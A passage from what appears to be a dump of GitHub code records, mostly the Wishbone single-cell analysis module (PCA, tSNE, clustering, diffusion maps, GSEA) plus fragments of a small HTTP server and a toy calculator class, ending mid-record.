Влияющие факторы: '\n self.wfile.write(bytes('{\"message\": \"Response from id=' + str(id) + '\", '\n '\"region\": \"' + result_text +'\"}', \"utf-8\"))\n\n\nif __name__ == \"__main__\":\n webServer = HTTPServer((hostName, serverPort), MyServer)\n print(\"Server started http://%s:%s\" % (hostName, serverPort))\n\n try:\n webServer.serve_forever()\n except KeyboardInterrupt:\n pass\n\n webServer.server_close()\n print(\"Server stopped.\")\n","repo_name":"polskikh01/AmbulanceBE","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42429344862","text":"#!/usr/bin/python\n\nclass Calculator:\n \n count=0\n def __init__(self):\n print(\"constructor : \")\n \n Calculator.count=Calculator.count+1\n\n self.x=0\n self.y=0\n\n def getInputs(self):\n self.x=input(\"Enter the 1st input : \")\n self.y=input(\"Enter the 2nd input : \")\n\n def add(self):\n self.getInputs()\n return self.x + self.y\n\ndef main():\n calculator1 = Calculator()\n calculator2 = Calculator()\n calculator3 = Calculator()\n print(\" The result is \",calculator1.add() )\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"dhirajkumar055/ansible","sub_path":"training/Day3/MyClass.py","file_name":"MyClass.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"32043077322","text":"import re\nimport os\nimport random\nimport pickle\nimport warnings\nimport shlex\nimport shutil\nfrom copy import deepcopy\nfrom collections import defaultdict, Counter\nfrom subprocess import call, Popen, PIPE\nimport glob\n\nimport numpy as np\nimport pandas as pd\n\nimport matplotlib\n# try:\n# os.environ['DISPLAY']\n# except KeyError:\n# matplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom matplotlib.figure import Figure\nwith warnings.catch_warnings():\n warnings.simplefilter('ignore') # catch experimental ipython widget warning\n import seaborn as sns\n\nimport bhtsne\nfrom scipy.sparse import csr_matrix, find\nfrom scipy.sparse.linalg import eigs\nfrom numpy.linalg import norm\nfrom scipy.stats import gaussian_kde\nfrom numpy.core.umath_tests import inner1d\nfrom sklearn.neighbors import NearestNeighbors\nimport fcsparser\nimport phenograph\n\nimport wishbone\n\n# set plotting defaults\nwith warnings.catch_warnings():\n warnings.simplefilter('ignore') # catch experimental ipython widget warning\n sns.set(context=\"paper\", style='ticks', font_scale=1.5, font='Bitstream Vera Sans')\ncmap = matplotlib.cm.Spectral_r\nsize = 8\n\n\ndef qualitative_colors(n):\n \"\"\" Generalte list of colors\n :param n: Number of colors\n \"\"\"\n return sns.color_palette('Set1', n)\n\n\ndef get_fig(fig=None, ax=None, figsize=[6.5, 6.5]):\n \"\"\"fills in any missing axis or figure with the currently active one\n :param ax: matplotlib Axis object\n :param fig: matplotlib Figure object\n \"\"\"\n if not fig:\n fig = plt.figure(figsize=figsize)\n if not ax:\n ax = plt.gca()\n return fig, ax\n\ndef density_2d(x, y):\n \"\"\"return x and y and their density z, sorted by their density (smallest to largest)\n\n :param x:\n :param y:\n :return:\n \"\"\"\n xy = np.vstack([np.ravel(x), np.ravel(y)])\n z = gaussian_kde(xy)(xy)\n i = np.argsort(z)\n return np.ravel(x)[i], np.ravel(y)[i], np.arcsinh(z[i])\n\nclass SCData:\n\n def __init__(self, data, data_type='sc-seq', metadata=None):\n \"\"\"\n Container class for single cell data\n :param data: DataFrame of cells X genes representing expression\n :param data_type: Type of the data: Can be either 'sc-seq' or 'masscyt'\n :param metadata: None or DataFrame representing metadata about the cells\n \"\"\"\n if not (isinstance(data, pd.DataFrame)):\n raise TypeError('data must be of type or DataFrame')\n if not data_type in ['sc-seq', 'masscyt']:\n raise RuntimeError('data_type must be either sc-seq or masscyt')\n if metadata is None:\n metadata = pd.DataFrame(index=data.index, dtype='O')\n self._data = data\n self._metadata = metadata\n self._data_type = data_type\n self._normalized = False\n self._pca = None\n self._tsne = None\n self._diffusion_eigenvectors = None\n self._diffusion_eigenvalues = None\n self._diffusion_map_correlations = None\n self._normalized = False\n self._cluster_assignments = None\n\n\n # Library size\n self._library_sizes = None\n\n\n def save(self, fout: str):# -> None:\n \"\"\"\n :param fout: str, name of archive to store pickled SCData data in. Should end\n in '.p'.\n :return: None\n \"\"\"\n with open(fout, 'wb') as f:\n pickle.dump(vars(self), f)\n\n def save_as_wishbone(self, fout: str):\n \"\"\"\n :param fout: str, name of archive to store pickled Wishbone data in. Should end\n in '.p'.\n :return: None\n \"\"\"\n wb = wishbone.wb.Wishbone(self, True)\n wb.save(fout)\n\n\n @classmethod\n def load(cls, fin):\n \"\"\"\n\n :param fin: str, name of pickled archive containing SCData data\n :return: SCData\n \"\"\"\n with open(fin, 'rb') as f:\n data = pickle.load(f)\n scdata = cls(data['_data'], data['_data_type'], data['_metadata'])\n del data['_data']\n del data['_data_type']\n del data['_metadata']\n for k, v in data.items():\n setattr(scdata, k[1:], v)\n return scdata\n\n def __repr__(self):\n c, g = self.data.shape\n _repr = ('SCData: {c} cells x {g} genes\\n'.format(g=g, c=c))\n for k, v in sorted(vars(self).items()):\n if not (k == '_data'):\n _repr += '\\n{}={}'.format(k[1:], 'None' if v is None else 'True')\n return _repr\n\n @property\n def data_type(self):\n return self._data_type\n\n @property\n def data(self):\n return self._data\n\n @data.setter\n def data(self, item):\n if not (isinstance(item, pd.DataFrame)):\n raise TypeError('SCData.data must be of type DataFrame')\n self._data = item\n\n @property\n def metadata(self):\n return self._metadata\n\n @metadata.setter\n def metadata(self, item):\n if not isinstance(item, pd.DataFrame):\n raise TypeError('SCData.metadata must be of type DataFrame')\n self._metadata = item\n\n @property\n def pca(self):\n return self._pca\n\n @pca.setter\n def pca(self, item):\n if not (isinstance(item, dict) or item is None):\n raise TypeError('self.pca must be a dictionary of pd.DataFrame object')\n self._pca = item\n\n @property\n def tsne(self):\n return self._tsne\n\n @tsne.setter\n def tsne(self, item):\n if not (isinstance(item, pd.DataFrame) or item is None):\n raise TypeError('self.tsne must be a pd.DataFrame object')\n self._tsne = item\n\n @property\n def diffusion_eigenvectors(self):\n return self._diffusion_eigenvectors\n\n @diffusion_eigenvectors.setter\n def diffusion_eigenvectors(self, item):\n if not (isinstance(item, pd.DataFrame) or item is None):\n raise TypeError('self.diffusion_eigenvectors must be a pd.DataFrame object')\n self._diffusion_eigenvectors = item\n\n @property\n def diffusion_eigenvalues(self):\n return self._diffusion_eigenvalues\n\n @diffusion_eigenvalues.setter\n def diffusion_eigenvalues(self, item):\n if not (isinstance(item, pd.DataFrame) or item is None):\n raise TypeError('self.diffusion_eigenvalues must be a pd.DataFrame object')\n self._diffusion_eigenvalues = item\n\n @property\n def diffusion_map_correlations(self):\n return self._diffusion_map_correlations\n\n @diffusion_map_correlations.setter\n def diffusion_map_correlations(self, item):\n if not (isinstance(item, pd.DataFrame) or item is None):\n raise TypeError('self.diffusion_map_correlations must be a pd.DataFrame'\n 'object')\n self._diffusion_map_correlations = item\n\n @property\n def library_sizes(self):\n return self._library_sizes\n\n @library_sizes.setter\n def library_sizes(self, item):\n if not (isinstance(item, pd.Series) or item is None):\n raise TypeError('self.library_sizes must be a pd.Series object')\n\n @property\n def cluster_assignments(self):\n return self._cluster_assignments\n\n @cluster_assignments.setter\n def cluster_assignments(self, item):\n if not (isinstance(item, pd.Series) or item is None):\n raise TypeError('self.cluster_assignments must be a pd.Series '\n 'object')\n self._cluster_assignments = item\n\n\n @classmethod\n def from_csv(cls, counts_csv_file, data_type, cell_axis = 0, normalize=True):\n if not data_type in ['sc-seq', 'masscyt']:\n raise RuntimeError('data_type must be either sc-seq or masscyt')\n\n # Read in csv file\n df = pd.read_csv( counts_csv_file, sep=None, header=0, index_col= 0,\n engine='python' )\n\n if cell_axis != 0:\n df = df.transpose()\n\n # Construct class object\n scdata = cls( df, data_type=data_type )\n\n # Normalize if specified\n if data_type == 'sc-seq':\n scdata = scdata.normalize_scseq_data( )\n\n return scdata\n\n\n @classmethod\n def from_fcs(cls, fcs_file, cofactor=5,\n metadata_channels=['Time', 'Event_length', 'DNA1', 'DNA2', 'Cisplatin', 'beadDist', 'bead1']):\n\n # Parse the fcs file\n text, data = fcsparser.parse( fcs_file )\n data = data.astype(np.float64)\n\n # Extract the S and N features (Indexing assumed to start from 1)\n # Assumes channel names are in S\n no_channels = text['$PAR']\n channel_names = [''] * no_channels\n for i in range(1, no_channels+1):\n # S name\n try:\n channel_names[i - 1] = text['$P%dS' % i]\n except KeyError:\n channel_names[i - 1] = text['$P%dN' % i]\n data.columns = channel_names\n\n # Metadata and data\n metadata_channels = data.columns.intersection(metadata_channels)\n data_channels = data.columns.difference( metadata_channels )\n metadata = data[metadata_channels]\n data = data[data_channels]\n\n # Transform if necessary\n if cofactor is not None and cofactor > 0:\n data = np.arcsinh(np.divide( data, cofactor ))\n\n # Create and return scdata object\n scdata = cls(data, 'masscyt', metadata)\n return scdata\n\n\n def normalize_scseq_data(self):\n \"\"\"\n Normalize single cell RNA-seq data: Divide each cell by its molecule count\n and multiply counts of cells by the median of the molecule counts\n :return: SCData\n \"\"\"\n\n molecule_counts = self.data.sum(axis=1)\n data = self.data.div(molecule_counts, axis=0)\\\n .mul(np.median(molecule_counts), axis=0)\n scdata = SCData(data=data, metadata=self.metadata)\n scdata._normalized = True\n\n # check that none of the genes are empty; if so remove them\n nonzero_genes = scdata.data.sum(axis=0) != 0\n scdata.data = scdata.data.ix[:, nonzero_genes].astype(np.float32)\n\n # set unnormalized_cell_sums\n self.library_sizes = molecule_counts\n scdata._library_sizes = molecule_counts\n\n return scdata\n\n\n def run_pca(self, n_components=100):\n \"\"\"\n Principal component analysis of the data.\n :param n_components: Number of components to project the data\n \"\"\"\n\n X = self.data.values\n # Make sure data is zero mean\n X = np.subtract(X, np.amin(X))\n X = np.divide(X, np.amax(X))\n\n # Compute covariance matrix\n if (X.shape[1] < X.shape[0]):\n C = np.cov(X, rowvar=0)\n # if N>D, we better use this matrix for the eigendecomposition\n else:\n C = np.multiply((1/X.shape[0]), np.dot(X, X.T))\n\n # Perform eigendecomposition of C\n C[np.where(np.isnan(C))] = 0\n C[np.where(np.isinf(C))] = 0\n l, M = np.linalg.eig(C)\n\n # Sort eigenvectors in descending order\n ind = np.argsort(l)[::-1]\n l = l[ind]\n if n_components < 1:\n n_components = np.where(np.cumsum(np.divide(l, np.sum(l)), axis=0) >= n_components)[0][0] + 1\n print('Embedding into ' + str(n_components) + ' dimensions.')\n if n_components > M.shape[1]:\n n_components = M.shape[1]\n print('Target dimensionality reduced to ' + str(n_components) + '.')\n\n M = M[:, ind[:n_components]]\n l = l[:n_components]\n\n # Apply mapping on the data\n if X.shape[1] >= X.shape[0]:\n M = np.multiply(np.dot(X.T, M), (1 / np.sqrt(X.shape[0] * l)).T)\n\n loadings = pd.DataFrame(data=M, index=self.data.columns)\n l = pd.DataFrame(l)\n\n self.pca = {'loadings': loadings, 'eigenvalues': l}\n\n\n def plot_pca_variance_explained(self, n_components=30,\n fig=None, ax=None, ylim=(0, 0.1)):\n \"\"\" Plot the variance explained by different principal components\n :param n_components: Number of components to show the variance\n :param ylim: y-axis limits\n :param fig: matplotlib Figure object\n :param ax: matplotlib Axis object\n :return: fig, ax\n \"\"\"\n if self.pca is None:\n raise RuntimeError('Please run run_pca() before plotting')\n\n fig, ax = get_fig(fig=fig, ax=ax)\n ax.plot(np.ravel(self.pca['eigenvalues'].values))\n plt.ylim(ylim)\n plt.xlim((0, n_components))\n plt.xlabel('Components')\n plt.ylabel('Variance explained')\n plt.title('Principal components')\n sns.despine(ax=ax)\n return fig, ax\n\n\n\n def run_tsne(self, n_components=15, perplexity=30, rand_seed=-1):\n \"\"\" Run tSNE on the data. tSNE is run on the principal component projections\n for single cell RNA-seq data and on the expression matrix for mass cytometry data\n :param n_components: Number of components to use for running tSNE for single cell\n RNA-seq data. Ignored for mass cytometry\n :return: None\n \"\"\"\n\n # Work on PCA projections if data is single cell RNA-seq\n data = deepcopy(self.data)\n if self.data_type == 'sc-seq':\n if self.pca is None:\n raise RuntimeError('Please run PCA using run_pca before running tSNE for single cell RNA-seq')\n data -= np.min(np.ravel(data))\n data /= np.max(np.ravel(data))\n data = pd.DataFrame(np.dot(data, self.pca['loadings'].iloc[:, 0:n_components]),\n index=self.data.index)\n\n # Reduce perplexity if necessary\n data = data.astype(np.float64)\n perplexity_limit = 15\n if data.shape[0] < 100 and perplexity > perplexity_limit:\n print('Reducing perplexity to %d since there are <100 cells in the dataset. ' % perplexity_limit)\n perplexity = perplexity_limit\n self.tsne = pd.DataFrame(bhtsne.tsne(data, perplexity=perplexity, rand_seed=rand_seed),\n index=self.data.index, columns=['x', 'y'])\n\n\n def plot_tsne(self, fig=None, ax=None, title='tSNE projection'):\n \"\"\"Plot tSNE projections of the data\n :param fig: matplotlib Figure object\n :param ax: matplotlib Axis object\n :param title: Title for the plot\n \"\"\"\n if self.tsne is None:\n raise RuntimeError('Please run tSNE using run_tsne before plotting ')\n fig, ax = get_fig(fig=fig, ax=ax)\n plt.scatter(self.tsne['x'], self.tsne['y'], s=size,\n color=qualitative_colors(2)[1])\n ax.xaxis.set_major_locator(plt.NullLocator())\n ax.yaxis.set_major_locator(plt.NullLocator())\n ax.set_title(title)\n return fig, ax\n\n\n def plot_tsne_by_cell_sizes(self, fig=None, ax=None, vmin=None, vmax=None):\n \"\"\"Plot tSNE projections of the data with cells colored by molecule counts\n :param fig: matplotlib Figure object\n :param ax: matplotlib Axis object\n :param vmin: Minimum molecule count for plotting\n :param vmax: Maximum molecule count for plotting\n :param title: Title for the plot\n \"\"\"\n if self.data_type == 'masscyt':\n raise RuntimeError( 'plot_tsne_by_cell_sizes is not applicable \\n\\\n for mass cytometry data. ' )\n\n fig, ax = get_fig(fig, ax)\n if self.tsne is None:\n raise RuntimeError('Please run run_tsne() before plotting.')\n if self._normalized:\n sizes = self.library_sizes\n else:\n sizes = self.data.sum(axis=1)\n plt.scatter(self.tsne['x'], self.tsne['y'], s=size, c=sizes, cmap=cmap)\n ax.xaxis.set_major_locator(plt.NullLocator())\n ax.yaxis.set_major_locator(plt.NullLocator())\n plt.colorbar()\n return fig, ax\n\n def run_phenograph(self, n_pca_components=15, **kwargs):\n \"\"\" Identify clusters in the data using phenograph. Phenograph is run on the principal component projections\n for single cell RNA-seq data and on the expression matrix for mass cytometry data\n :param n_pca_components: Number of components to use for running tSNE for single cell\n RNA-seq data. Ignored for mass cytometry\n :param kwargs: Optional arguments to phenograph\n :return: None\n \"\"\"\n\n data = deepcopy(self.data)\n if self.data_type == 'sc-seq':\n data -= np.min(np.ravel(data))\n data /= np.max(np.ravel(data))\n data = pd.DataFrame(np.dot(data, self.pca['loadings'].iloc[:, 0:n_pca_components]),\n index=self.data.index)\n\n communities, graph, Q = phenograph.cluster(data, **kwargs)\n self.cluster_assignments = pd.Series(communities, index=data.index)\n\n\n def plot_phenograph_clusters(self, fig=None, ax=None, labels=None):\n \"\"\"Plot phenograph clustes on the tSNE map\n :param fig: matplotlib Figure object\n :param ax: matplotlib Axis object\n :param vmin: Minimum molecule count for plotting\n :param vmax: Maximum molecule count for plotting\n :param labels: Dictionary of labels for each cluster\n :return fig, ax\n \"\"\"\n\n if self.tsne is None:\n raise RuntimeError('Please run tSNE before plotting phenograph clusters.')\n\n fig, ax = get_fig(fig=fig, ax=ax)\n clusters = sorted(set(self.cluster_assignments))\n colors = qualitative_colors(len(clusters))\n for i in range(len(clusters)):\n if labels:\n label=labels[i]\n else:\n label = clusters[i]\n data = self.tsne.ix[self.cluster_assignments == clusters[i], :]\n ax.plot(data['x'], data['y'], c=colors[i], linewidth=0, marker='o',\n markersize=np.sqrt(size), label=label)\n ax.legend(loc='center left', bbox_to_anchor=(1, 0.5), markerscale=3)\n ax.xaxis.set_major_locator(plt.NullLocator())\n ax.yaxis.set_major_locator(plt.NullLocator())\n return fig, ax\n\n\n def summarize_phenograph_clusters(self, fig=None, ax=None):\n \"\"\"Average expression of genes in phenograph clusters\n :param fig: matplotlib Figure object\n :param ax: matplotlib Axis object\n :return fig, ax\n \"\"\"\n if self.cluster_assignments is None:\n raise RuntimeError('Please run phenograph before deriving summary of gene expression.')\n\n\n # Calculate the means\n means = self.data.groupby(self.cluster_assignments).apply(lambda x: np.mean(x))\n\n # Calculate percentages\n counter = Counter(self.cluster_assignments)\n means.index = ['%d (%.2f%%)' % (i, counter[i]/self.data.shape[0] * 100) \\\n for i in means.index]\n\n # Plot\n fig, ax = get_fig(fig, ax, [8, 5] )\n sns.heatmap(means)\n plt.ylabel('Phenograph Clusters')\n plt.xlabel('Markers')\n\n return fig, ax\n\n\n def select_clusters(self, clusters):\n \"\"\"Subselect cells from specific phenograph clusters\n :param clusters: List of phenograph clusters to select\n :return scdata\n \"\"\"\n if self.cluster_assignments is None:\n raise RuntimeError('Please run phenograph before subselecting cells.')\n if len(set(clusters).difference(self.cluster_assignments)) > 0 :\n raise RuntimeError('Some of the clusters specified are not present. Please select a subset of phenograph clusters')\n\n # Subset of cells to use\n cells = self.data.index[self.cluster_assignments.isin( clusters )]\n\n # Create new SCData object\n data = self.data.ix[cells]\n if self.metadata is not None:\n meta = self.metadata.ix[cells]\n scdata = SCData( data, self.data_type, meta )\n return scdata\n\n\n\n def run_diffusion_map(self, knn=10, epsilon=1,\n n_diffusion_components=10, n_pca_components=15, markers=None):\n \"\"\" Run diffusion maps on the data. Run on the principal component projections\n for single cell RNA-seq data and on the expression matrix for mass cytometry data\n :param knn: Number of neighbors for graph construction to determine distances between cells\n :param epsilon: Gaussian standard deviation for converting distances to affinities\n :param n_diffusion_components: Number of diffusion components to Generalte\n :param n_pca_components: Number of components to use for running tSNE for single cell\n RNA-seq data. Ignored for mass cytometry\n :return: None\n \"\"\"\n\n data = deepcopy(self.data)\n if self.data_type == 'sc-seq':\n if self.pca is None:\n raise RuntimeError('Please run PCA using run_pca before running diffusion maps for single cell RNA-seq')\n\n data = deepcopy(self.data)\n data -= np.min(np.ravel(data))\n data /= np.max(np.ravel(data))\n data = pd.DataFrame(np.dot(data, self.pca['loadings'].iloc[:, 0:n_pca_components]),\n index=self.data.index)\n\n if markers is None:\n markers = self.data.columns\n\n if self.data_type == 'masscyt':\n data = deepcopy(self.data[markers])\n\n # Nearest neighbors\n N = data.shape[0]\n nbrs = NearestNeighbors(n_neighbors=knn).fit(data)\n distances, indices = nbrs.kneighbors(data)\n\n # Adjacency matrix\n rows = np.zeros(N * knn, dtype=np.int32)\n cols = np.zeros(N * knn, dtype=np.int32)\n dists = np.zeros(N * knn)\n location = 0\n for i in range(N):\n inds = range(location, location + knn)\n rows[inds] = indices[i, :]\n cols[inds] = i\n dists[inds] = distances[i, :]\n location += knn\n W = csr_matrix( (dists, (rows, cols)), shape=[N, N] )\n\n # Symmetrize W\n W = W + W.T\n\n # Convert to affinity (with selfloops)\n rows, cols, dists = find(W)\n rows = np.append(rows, range(N))\n cols = np.append(cols, range(N))\n dists = np.append(dists/(epsilon ** 2), np.zeros(N))\n W = csr_matrix( (np.exp(-dists), (rows, cols)), shape=[N, N] )\n\n # Create D\n D = np.ravel(W.sum(axis = 1))\n D[D!=0] = 1/D[D!=0]\n\n # Symmetric markov normalization\n D = csr_matrix((np.sqrt(D), (range(N), range(N))), shape=[N, N])\n P = D\n T = D.dot(W).dot(D)\n T = (T + T.T) / 2\n\n\n # Eigen value decomposition\n D, V = eigs(T, n_diffusion_components, tol=1e-4, maxiter=1000)\n D = np.real(D)\n V = np.real(V)\n inds = np.argsort(D)[::-1]\n D = D[inds]\n V = V[:, inds]\n V = P.dot(V)\n\n # Normalize\n for i in range(V.shape[1]):\n V[:, i] = V[:, i] / norm(V[:, i])\n V = np.round(V, 10)\n\n # Update object\n self.diffusion_eigenvectors = pd.DataFrame(V, index=self.data.index)\n self.diffusion_eigenvalues = pd.DataFrame(D)\n\n\n def plot_diffusion_components(self, title='Diffusion Components'):\n \"\"\" Plots the diffusion components on tSNE maps\n :return: fig, ax\n \"\"\"\n if self.tsne is None:\n raise RuntimeError('Please run tSNE before plotting diffusion components.')\n if self.diffusion_eigenvectors is None:\n raise RuntimeError('Please run diffusion maps using run_diffusion_map before plotting')\n\n height = int(2 * np.ceil(self.diffusion_eigenvalues.shape[0] / 5))\n width = 10\n fig = plt.figure(figsize=[width, height])\n n_rows = int(height / 2)\n n_cols = int(width / 2)\n gs = plt.GridSpec(n_rows, n_cols)\n\n for i in range(self.diffusion_eigenvectors.shape[1]):\n ax = plt.subplot(gs[i // n_cols, i % n_cols])\n plt.scatter(self.tsne['x'], self.tsne['y'], c=self.diffusion_eigenvectors[i],\n cmap=cmap, edgecolors='none', s=size)\n ax.xaxis.set_major_locator(plt.NullLocator())\n ax.yaxis.set_major_locator(plt.NullLocator())\n ax.set_aspect('equal')\n plt.title( 'Component %d' % i, fontsize=10 )\n\n # fig.suptitle(title, fontsize=12)\n return fig, ax\n\n\n def plot_diffusion_eigen_vectors(self, fig=None, ax=None, title='Diffusion eigen vectors'):\n \"\"\" Plots the eigen values associated with diffusion components\n :return: fig, ax\n \"\"\"\n if self.diffusion_eigenvectors is None:\n raise RuntimeError('Please run diffusion maps using run_diffusion_map before plotting')\n\n fig, ax = get_fig(fig=fig, ax=ax)\n ax.plot(np.ravel(self.diffusion_eigenvalues.values))\n plt.scatter( range(len(self.diffusion_eigenvalues)),\n self._diffusion_eigenvalues, s=20, edgecolors='none', color='red' )\n plt.xlabel( 'Diffusion components')\n plt.ylabel('Eigen values')\n plt.title( title )\n plt.xlim([ -0.1, len(self.diffusion_eigenvalues) - 0.9])\n sns.despine(ax=ax)\n return fig, ax\n\n\n @staticmethod\n def _correlation(x: np.array, vals: np.array):\n x = x[:, np.newaxis]\n mu_x = x.mean() # cells\n mu_vals = vals.mean(axis=0) # cells by gene --> cells by genes\n sigma_x = x.std()\n sigma_vals = vals.std(axis=0)\n\n return ((vals * x).mean(axis=0) - mu_vals * mu_x) / (sigma_vals * sigma_x)\n\n\n def run_diffusion_map_correlations(self, components=None, no_cells=10):\n \"\"\" Determine gene expression correlations along diffusion components\n :param components: List of components to generate the correlations. All the components\n are used by default.\n :param no_cells: Window size for smoothing\n :return: None\n \"\"\"\n if self.data_type == 'masscyt':\n raise RuntimeError('This function is designed to work for single cell RNA-seq')\n if self.diffusion_eigenvectors is None:\n raise RuntimeError('Please run diffusion maps using run_diffusion_map before determining correlations')\n\n if components is None:\n components = np.arange(self.diffusion_eigenvectors.shape[1])\n else:\n components = np.array(components)\n components = components[components != 0]\n\n # Container\n diffusion_map_correlations = np.empty((self.data.shape[1],\n self.diffusion_eigenvectors.shape[1]),\n dtype=np.float)\n for component_index in components:\n component_data = self.diffusion_eigenvectors.ix[:, component_index]\n\n order = self.data.index[np.argsort(component_data)]\n x = component_data[order].rolling(no_cells).mean()[no_cells:]\n # x = pd.rolling_mean(component_data[order], no_cells)[no_cells:]\n\n # this fancy indexing will copy self.data\n vals = self.data.ix[order, :].rolling(no_cells).mean()[no_cells:].values\n # vals = pd.rolling_mean(self.data.ix[order, :], no_cells, axis=0)[no_cells:]\n cor_res = self._correlation(x, vals)\n # assert cor_res.shape == (gene_shape,)\n diffusion_map_correlations[:, component_index] = self._correlation(x, vals)\n\n # this is sorted by order, need it in original order (reverse the sort)\n self.diffusion_map_correlations = pd.DataFrame(diffusion_map_correlations[:, components],\n index=self.data.columns, columns=components)\n\n\n def plot_gene_component_correlations(\n self, components=None, fig=None, ax=None,\n title='Gene vs. Diffusion Component Correlations'):\n \"\"\" plots gene-component correlations for a subset of components\n\n :param components: Iterable of integer component numbers\n :param fig: Figure\n :param ax: Axis\n :param title: str, title for the plot\n :return: fig, ax\n \"\"\"\n fig, ax = get_fig(fig=fig, ax=ax)\n if self.diffusion_map_correlations is None:\n raise RuntimeError('Please run determine_gene_diffusion_correlations() '\n 'before attempting to visualize the correlations.')\n\n if components is None:\n components = self.diffusion_map_correlations.columns\n colors = qualitative_colors(len(components))\n\n for c,color in zip(components, colors):\n with warnings.catch_warnings():\n warnings.simplefilter('ignore') # catch experimental ipython widget warning\n sns.kdeplot(self.diffusion_map_correlations[c].fillna(0), label=c,\n ax=ax, color=color)\n sns.despine(ax=ax)\n ax.set_title(title)\n ax.set_xlabel('correlation')\n ax.set_ylabel('gene density')\n plt.legend()\n return fig, ax\n\n @staticmethod\n def _gmt_options():\n mouse_options = os.listdir(os.path.expanduser('~/.wishbone/tools/mouse'))\n human_options = os.listdir(os.path.expanduser('~/.wishbone/tools/human'))\n print('Available GSEA .gmt files:\\n\\nmouse:\\n{m}\\n\\nhuman:\\n{h}\\n'.format(\n m='\\n'.join(mouse_options),\n h='\\n'.join(human_options)))\n print('Please specify the gmt_file parameter as gmt_file=(organism, filename)')\n\n @staticmethod\n def _gsea_process(c, diffusion_map_correlations, output_stem, gmt_file):\n\n # save the .rnk file\n out_dir, out_prefix = os.path.split(output_stem)\n genes_file = '{stem}_cmpnt_{component}.rnk'.format(\n stem=output_stem, component=c)\n ranked_genes = diffusion_map_correlations.ix[:, c]\\\n .sort_values(inplace=False, ascending=False)\n\n # set any NaN to 0\n ranked_genes = ranked_genes.fillna(0)\n\n # dump to file\n pd.DataFrame(ranked_genes).to_csv(genes_file, sep='\\t', header=False)\n\n # Construct the GSEA call\n cmd = shlex.split(\n 'java -cp {user}/.wishbone/tools/gsea2-2.2.1.jar -Xmx1g '\n 'xtools.gsea.GseaPreranked -collapse false -mode Max_probe -norm meandiv '\n '-nperm 1000 -include_only_symbols true -make_sets true -plot_top_x 0 '\n '-set_max 500 -set_min 50 -zip_report false -gui false -rnk {rnk} '\n '-rpt_label {out_prefix}_{component} -out {out_dir}/ -gmx {gmt_file}'\n ''.format(user=os.path.expanduser('~'), rnk=genes_file,\n out_prefix=out_prefix, component=c, out_dir=out_dir,\n gmt_file=gmt_file))\n\n # Call GSEA\n p = Popen(cmd, stderr=PIPE)\n _, err = p.communicate()\n\n # remove annoying suffix from GSEA\n if err:\n return err\n else:\n pattern = out_prefix + '_' + str(c) + '.GseaPreranked.[0-9]*'\n repl = out_prefix + '_' + str(c)\n files = os.listdir(out_dir)\n for f in files:\n mo = re.match(pattern, f)\n if mo:\n curr_name = mo.group(0)\n shutil.move('{}/{}'.format(out_dir, curr_name),\n '{}/{}'.format(out_dir, repl))\n return err\n\n # execute if file cannot be found\n return b'GSEA output pattern was not found, and could not be changed.'\n\n def run_gsea(self, output_stem, gmt_file=None,\n components=None, enrichment_threshold=1e-1):\n \"\"\" Run GSEA using gene rankings from diffusion map correlations\n\n :param output_stem: the file location and prefix for the output of GSEA\n :param gmt_file: GMT file containing the gene sets. Use None to see a list of options\n :param components: Iterable of integer component numbers\n :param enrichment_threshold: FDR corrected p-value significance threshold for gene set enrichments\n :return: Dictionary containing the top enrichments for each component\n \"\"\"\n\n out_dir, out_prefix = os.path.split(output_stem)\n out_dir += '/'\n os.makedirs(out_dir, exist_ok=True)\n\n if self.diffusion_eigenvectors is None:\n raise RuntimeError('Please run run_diffusion_map_correlations() '\n 'before running GSEA to annotate those components.')\n\n if not gmt_file:\n self._gmt_options()\n return\n else:\n if not len(gmt_file) == 2:\n raise ValueError('gmt_file should be a tuple of (organism, filename).')\n gmt_file = os.path.expanduser('~/.wishbone/tools/{}/{}').format(*gmt_file)\n\n if components is None:\n components = self.diffusion_map_correlations.columns\n\n # Run GSEA\n print('If running in notebook, please look at the command line window for GSEA progress log')\n reports = dict()\n for c in components:\n res = self._gsea_process( c, self._diffusion_map_correlations,\n output_stem, gmt_file )\n # Load results\n if res == b'':\n # Positive correlations\n df = pd.DataFrame.from_csv(glob.glob(output_stem + '_%d/gsea*pos*xls' % c)[0], sep='\\t')\n reports[c] = dict()\n reports[c]['pos'] = df['FDR q-val'][0:5]\n reports[c]['pos'] = reports[c]['pos'][reports[c]['pos'] < enrichment_threshold]\n\n # Negative correlations\n df = pd.DataFrame.from_csv(glob.glob(output_stem + '_%d/gsea*neg*xls' % c)[0], sep='\\t')\n reports[c]['neg'] = df['FDR q-val'][0:5]\n reports[c]['neg'] = reports[c]['neg'][reports[c]['neg'] < enrichment_threshold]\n\n # Return results\n return reports\n\n\n # todo add option to plot phenograph cluster that these are being DE in.\n def plot_gene_expression(self, genes):\n \"\"\" Plot gene expression on tSNE maps\n :param genes: Iterable of strings to plot on tSNE\n \"\"\"\n\n not_in_dataframe = set(genes).difference(self.data.columns)\n if not_in_dataframe:\n if len(not_in_dataframe) < len(genes):\n print('The following genes were either not observed in the experiment, '\n 'or the wrong gene symbol was used: {!r}'.format(not_in_dataframe))\n else:\n print('None of the listed genes were observed in the experiment, or the '\n 'wrong symbols were used.')\n return\n\n # remove genes missing from experiment\n genes = set(genes).difference(not_in_dataframe)\n\n height = int(2 * np.ceil(len(genes) / 5))\n width = 10\n fig = plt.figure(figsize=[width, height+0.25])\n n_rows = int(height / 2)\n n_cols = int(width / 2)\n gs = plt.GridSpec(n_rows, n_cols)\n\n axes = []\n for i, g in enumerate(genes):\n ax = plt.subplot(gs[i // n_cols, i % n_cols])\n axes.append(ax)\n if self.data_type == 'sc-seq':\n plt.scatter(self.tsne['x'], self.tsne['y'], c=np.arcsinh(self.data[g]),\n cmap=cmap, edgecolors='none', s=size)\n else:\n plt.scatter(self.tsne['x'], self.tsne['y'], c=self.data[g],\n cmap=cmap, edgecolors='none', s=size)\n ax.set_title(g)\n ax.xaxis.set_major_locator(plt.NullLocator())\n ax.yaxis.set_major_locator(plt.NullLocator())\n\n return fig, axes\n\nclass Wishbone:\n\n def __init__(self, scdata, ignore_dm_check=False):\n \"\"\"\n Container class for Wishbone\n :param data: SCData object\n \"\"\"\n if not ignore_dm_check and scdata.diffusion_eigenvectors 